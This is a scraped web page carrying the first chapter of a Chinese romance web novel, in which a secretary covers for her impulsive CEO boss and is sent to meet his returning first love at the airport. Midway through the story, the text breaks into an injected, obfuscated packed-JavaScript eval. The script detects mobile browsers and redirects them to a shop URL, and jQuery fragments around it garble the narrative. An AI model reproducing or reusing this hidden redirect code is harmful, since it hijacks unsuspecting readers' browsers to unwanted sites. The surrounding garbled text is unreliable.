1. 大消息

作品:《我送霸总进监狱

    空调的冷风循环在整个会议室,边芮额头却浸出一层薄汗。


    她有点紧张。


    对面的位置坐着她的顶头上司齐曜辰,齐曜辰面前的电脑屏幕透出供应商的面庞。


    这场线上会议的主题是价格与成本的谈判。


    会议室里安静肃穆,耳旁响起供应商滔滔不绝的关于合作项目的建议,对方讲得认真,边芮却在开小差。


    作为齐曜辰的秘书,她的任务是整理会议纪要。


    但此刻的她没法专心,一双眼偷偷睃着对面的齐曜辰。


    一分钟前,齐曜辰接到一则短信。


    看完短信,他神情大变,眉头紧拧,整个人也魂不守舍起来,两只手不安分地在手机屏幕不停滑动。


    这种感觉很不妙。


    是祸事来临的前兆。


    每当这个时候,边芮都会变得紧张。


    “齐总,这样吧,价格方面我可以退一步,但咱们的合作期限需要延长。”供应商的声音飘荡在整个会议室。


    无人回应。


    气氛肉眼可见的尴尬。


    边芮首先坐不住了。


    她望了一眼心不在焉的齐曜辰,轻轻推了推他的胳膊。


    发怔中的齐曜辰回过神,收起手机,头也不回地快步冲出会议室。


    始料未及的举动让对面的供应商直接呆住。


    “抱歉王总,齐总突然有点急事需要处理,接下来由我和您对接。”


    状况终于发生,边芮反而冷静了,她镇定自若转过电脑屏幕,面带微笑地继续刚才的话题。


    “价格方面您让了一步,合作期限方面我们理应也让一步,但是长期合作单一供应商会造成供应链脆弱,公司之前在这方面吃过大亏,所以可能需要谨慎考虑。”


    “再者,现在的市场变化很快,长期合同会造成灵活性下降,公司为了能够快速响应市场,一直采取多元化供应商策略。”


    “但是王总您肯同意我们的报价,诚意十足,我们也会在合作期限上做出适当的让步,具体可能还需要公司内部进一步讨论,您看您下周一上午有时间吗?”


    ……


    一番诚恳的言论掩盖之前的不愉快,成功说服对面的供应商。


    “上午恐怕不行,下午倒是可以。”


    边芮一边翻动行程表,一边回复。


    “那就下周一下午三点,到时候咱们再接洽,王总再见。”


    挂断视频会议,合上电脑屏幕。


    边芮长长舒了一口气。


    这样的情况她不止碰见过一回。


    上一次,因为和董事长吵架而心里憋火的齐曜辰越想越生气,会议中途撂挑子走人,留下她和合作项目的负责人面面相觑。


    上上次,公司内部高层会议,不满有人持反对意见的齐曜辰当场甩袖离席,气得董事长脸色铁青。


    所以,这次又是为什么?


    “大新闻,大新闻!”同为秘书的阿鎏推门而入,神秘兮兮地将手机怼到她面前。


    手机屏幕显示的是三人小群的消息。


    群里除了她和阿鎏,还有司机老马。


    司机老马的信息表示,顾熙柔今天回国,齐总可能是去接她。


    “刚才瞧见齐总神色慌张冲出会议室我就觉得不对劲,一问老马,果然有情况,原来是齐总的白月光要回国了!”


    阿鎏八卦地啧啧两声。


    “都五年了,齐总还没忘记她?话说,这次她为什么回来啊?”


    “我哪知道。”边芮捧起电脑往外走。


    阿鎏追在她身后:“你难道不好奇?”


    “不好奇。”


    边芮对此没什么探究的兴趣。


    很早之前她就知道自己生活在一本书中,书中的主角是那些霸总们。带着光环的霸总们会开启精彩跌宕的传奇人生,与他们的女主角上演各式各样的古早狗血剧情。


    她的顶头上司齐曜辰也位列其中。


    作为国内最大零售公司宁东集团的准接班人、董事长的亲亲宝贝儿子,齐曜辰迟早要接手偌大的家族产业,这是众所周知的共识。


    这位接班人冷漠孤傲、目空一切、任性妄为,丝毫不把众人放在眼里。


    一切豪门公子哥的臭毛病他都有。


    但人家会投胎,赢在了起跑线。


    这辈子顺风顺水的齐曜辰唯独只在爱情上吃过苦。


    据说顾熙柔是他学生时代的白月光,两人在大学校园相识,他苦追无果,又遭董事长棒打鸳鸯,最后顾熙柔远赴国外留学,两人生生分开五年。


    五年漫长的时光没有消减半点齐曜辰内心的爱意。


    这次顾熙柔回了国,齐曜辰又该蠢蠢欲动,上演她逃他追的戏码。


    不过这些都与边芮无关。


    她一个小小的秘书,毫无光环的边缘人物,过好自己的日子就行。


    将电脑放回办公室,边芮给自己冲了一杯咖啡。


    往咖啡里加糖时,阿鎏凑过来,又把从老马嘴里打探到的消息转达给她:“听说顾小姐这次回国一点风声都没透露,齐总也是刚知道,难怪情绪这么激动,会议都没结束就迫不及待去机场接人,不过要是董事长知道的话……”


    “等等。”


    边芮手上的动作突然一顿。


    “齐总是自己开车去接人?”


    “那当然了,”阿鎏扬了扬手机,“要是老马开车,他哪还有时间跟我聊天啊。”


    完蛋,又要出事。


    边芮没了喝咖啡的心思,三两下拨通齐曜辰的号码。


    铃声响动几秒,被对方直接摁断。


    “你现在找齐总,他肯定不会接,人家赶着去机场呢,”阿鎏边说边拿眼睛觑着满脸凝重的边芮,“怎么,你有重要的事情要找他?”


    “没有。”


    “可我看你好像很担忧的样子。”


    边芮没接话,端起咖啡喝了一口。


    苦得她舌尖打颤。


    唉,人生啊,多半是这个滋味。


    十几分钟后,阿鎏终于知道了边芮的担忧。


    一道不幸的消息传来,齐曜辰超速闯红灯被交警拦下来配合调查,又因为拒不配合,直接被扣留下来。


    边芮接到了他主动拨过来的电话。


    “我让阿鎏和老马来我这边处理,至于你,有件事要你去办一下,今天熙柔回国,城北机场下午五点落地,你去接一下。”


    “我?我吗?”


    准备出发的边芮哐当一下又坐了回去。


    “对,就是你,我现在没法抽身,不能去接机。”


    那她也不能啊。


    这些年齐曜辰不是没有出国的机会,都被董事长扼杀了,董事长执意不赞成两人走到一起,当初不惜破坏父子情分也要棒打鸳鸯,可见决心之坚固。


    顾熙柔回国的消息董事长恐怕还不知道,事后若是知晓齐曜辰为了去接机又是撂下合作供应商跑路,又是违规闯红灯不配合交警执法被扣留,只怕气得更狠。


    堆聚的怒气迟早要爆发。


    父子间毕竟有亲情维系,到时候池里的小鱼小虾就要被殃及了。


    这个节骨眼上,吩咐她去接机,这和直接让她卷铺盖滚蛋有什么区别。


    边芮义正词严:“我怕被董事长秋后算账。”


    “放心,我会护着你。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094299|195591||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “您恐怕护不住,”边芮无情戳破,“您到时候也要被董事长秋后算账的。”


    “……”


    对面的人运了一口气。


    “你想想,你的车是谁给你配的?”


    得,开始打感情牌了。


    边芮望了一眼摆在办公桌上的金属车钥匙扣,心虚挪开目光。


    作为总经理秘书之一,她没有配车资格,以前通勤需要转三趟地铁,历时近两个钟头,某次休假时被召唤害得齐曜辰足足等了两个钟头后,忍无可忍的齐曜辰给她配了车。


    喜爱豪车的齐曜辰选了一辆宾利。


    她没敢要。


    车子倘若有什么闪失,她一年的工资都得搭进去。


    赔不起。


    于是她选了一辆比亚迪。


    被齐曜辰以“我的秘书不能看上去像开网约车的”为由拒绝了。


    两人折中,最终敲定宝马。


    属于没那么丢份,也能赔得起的类型。


    不得不说,配车之后还是给生活带来了一些便利,除了某些时候要忍受旁人对年轻姑娘开豪车的恶意揣测目光,再无别的坏处。


    “你再想想,你的房子是谁给你租的?”


    配车之后,通勤距离并没有变短,从郊区到市中心,驾车不过只缩减了半个钟头,碰上早高峰或者节日,堵在路上,甚至比平时花费更多时间。


    意识到这一点的齐曜辰烦透了,在市中心高档公寓租了一套房。


    环境很好。


    百来平的面积,宽敞的客厅,北欧装修风格,开放式厨房,离公司不过五百米。


    边芮没问过价格,总之不会太便宜。


    配车配房是为了让她能随叫随到更好地做牛做马,不过她也的确落到实惠。


    但是……


    薅点资本主义的羊毛怎么了。


    边芮继续不吭声。


    对面咬咬牙:“行,给你加年终奖,五万。”


    “好的,我马上过去。”


    啪,电话挂了。


    “……”


    齐曜辰气笑。


    但凡对方犹豫一秒他都没这么无语。


    呵,见钱眼开的家伙。


    见钱眼开的家伙挂断电话后,飞快拿起车钥匙下楼。


    这种事情不答应的话,等不到董事长发怒,她现在估计就要被齐总经理当场炒鱿鱼。


    横竖都得挨刀,能晚一点是一点。


    万一到时候事情有回旋余地,那她不只不用丢工作,还多赚了五万年终奖。


    挺划算。


    等她乘电梯来到地下车库,阿鎏已经拉开齐曜辰的座驾,老马坐在驾驶位,两人准备出发。


    路过她时,阿鎏摇下车窗。


    颇有些同情地问:“你要去机场接机了吗?”


    “嗯。”


    去城北机场大约40分钟的路程,现在是下午四点,离飞机落地还有一个钟头的时间,怕赶上晚高峰,提早出发总是没错的。


    “那你……”


    阿鎏想再说些什么,一抬头瞥见她清秀的眉眼里没有半点抱怨,嘴角甚至溢出几分掩藏不住的笑意,一时又把话忍下了。


    “那你注意安全。”


    两人挥手作别,阿鎏升起车窗。


    她透过后车玻璃望了一眼后方逐渐远离的那抹高挑的背影,背影纤细苗条,如水墨画般富有韵味。


    比起不太相似的五官,显然这道优雅的背影轮廓更加能以假乱真。


    阿鎏无声叹了一口气。


    转过头,带着十二分的困惑与不解质问旁边的老马。


    “她真的不知道自己是替身吗?”